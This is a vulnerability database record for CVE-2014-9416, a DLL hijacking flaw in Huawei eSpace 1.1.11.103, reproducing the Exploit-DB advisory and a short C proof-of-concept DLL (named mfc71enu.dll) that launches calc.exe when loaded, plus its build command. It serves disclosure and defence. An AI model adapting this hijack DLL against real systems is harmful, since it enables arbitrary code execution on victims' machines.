ID
VAR-E-201905-0010
CVE
| cve_id: | CVE-2014-9416 | Trust: 1.5 |
EDB ID
46866
TITLE
Huawei eSpace 1.1.11.103 - DLL Hijacking - Windows local Exploit
Trust: 0.6
DESCRIPTION
Huawei eSpace 1.1.11.103 - DLL Hijacking. CVE-2014-9416 . local exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | huawei | model: | espace | scope: | eq | version: | 1.1.11.103 | Trust: 2.1 |
EXPLOIT
/*
Huawei eSpace Desktop DLL Hijacking Vulnerability
Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.
Desc: eSpace suffers from a DLL Hijacking issue. The vulnerability is caused due
to the application loading libraries (mfc71enu.dll, mfc71loc.dll, tcapi.dll and
airpcap.dll) in an insecure manner. This can be exploited to load arbitrary libraries
by tricking a user into opening a related application file (.html, .jpg, .png)
located on a remote WebDAV or SMB share.
Tested on: Microsoft Windows 7 Professional
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
19.08.2014
Patched version: V200R003C00
Vuln ID: HWPSIRT-2014-1153 and HWPSIRT-2014-1154
CVE ID: CVE-2014-9416
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
*/
// gcc -shared -o mfc71enu.dll exploit.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
exec();
return 0;
}
int exec()
{
WinExec("calc.exe" , SW_NORMAL);
return 0;
}
Trust: 1.0
EXPLOIT LANGUAGE
c
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
DLL Hijacking
Trust: 1.6
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | remote | Trust: 0.5 |
| tag: | arbitrary | Trust: 0.5 |
CREDITS
LiquidWorm
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 46866 | Trust: 1.6 |
| db: | NVD | id: | CVE-2014-9416 | Trust: 1.5 |
| db: | EDBNET | id: | 101486 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 152966 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2014-9416 | Trust: 1.5 |
| url: | https://www.exploit-db.com/exploits/46866/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 152966 |
| db: | EXPLOIT-DB | id: | 46866 |
| db: | EDBNET | id: | 101486 |
LAST UPDATE DATE
2022-07-27T09:56:05.867000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 152966 | date: | 2019-05-17T16:22:22 |
| db: | EXPLOIT-DB | id: | 46866 | date: | 2019-05-20T00:00:00 |
| db: | EDBNET | id: | 101486 | date: | 2019-05-20T00:00:00 |